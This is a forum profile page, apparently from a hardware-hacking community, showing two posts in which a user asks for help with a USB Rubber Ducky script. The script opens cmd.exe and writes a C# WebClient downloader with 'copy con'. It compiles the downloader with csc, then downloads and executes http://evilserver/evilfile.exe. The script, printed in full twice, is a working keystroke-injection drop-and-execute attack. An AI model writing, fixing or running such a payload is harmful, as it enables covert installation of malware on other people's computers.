Jump to content

MrJannieSA

Members
  • Posts

    2
  • Joined

  • Last visited

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

MrJannieSA's Achievements

Newbie

Newbie (1/14)

  1. Update: Changed the code a little thinking maybe the string of chars is too long, but stil lno luck. ..... ..... STRING copy con %temp%\dl.cs ENTER DELAY 200 ENTER STRING using System; using System.Net; using System.IO; public class Test{public static void Main (string[] args) STRING {WebClient client = new WebClient ();client.DownloadFile(args[0], args[1]);}} ENTER CTRL z ..... .....
  2. Hi, I am having issues when using ducky and copy con, cmd.exe I can see the copy con but, but the ducky writes funny chars. I have checked my Keyb layout, it's English US. The idea of this script is to copy con a one-liner to .cs file, then call uppon the csc compiler in dotNet Framework to compile to .exe Windows CMD Output: ------------------------------------------------------------------------------------- Microsoft Windows [Version 6.1.7601] Copyright © 2009 Microsoft Corporation. All rights reserved. C:\Users\########>copy con %temp%\dl.cs copy con %temp%\dl.cs/|#J######*J#######G########G##########JJ(_#JJ(G##G#### ------------------------------------------------------------------------------------- The Ducky code: ------------------------------------------------------------------------------------- GUI r DELAY 400 STRING cmd.exe DELAY 400 ENTER DELAY 400 STRING copy con %temp%\dl.cs ENTER STRING using System; using System.Net; using System.IO; public class Test{public static void Main (string[] args){WebClient client = new WebClient ();client.DownloadFile(args[0], args[1]);}} ENTER DELAY 400 CTRL z ENTER STRING %WinDir%\Microsoft.Net\Framework\v3.5\csc /out:"%temp%\dl.exe" "%temp%\dl.cs" ENTER DELAY 1000 STRING %temp%\dl.exe http://evilserver/evilfile.exe %temp%\evilfile.exe ENTER DELAY 1000 STRING %temp%\evilfile.exe ENTER -------------------------------------------------------------------------------------
×
×
  • Create New...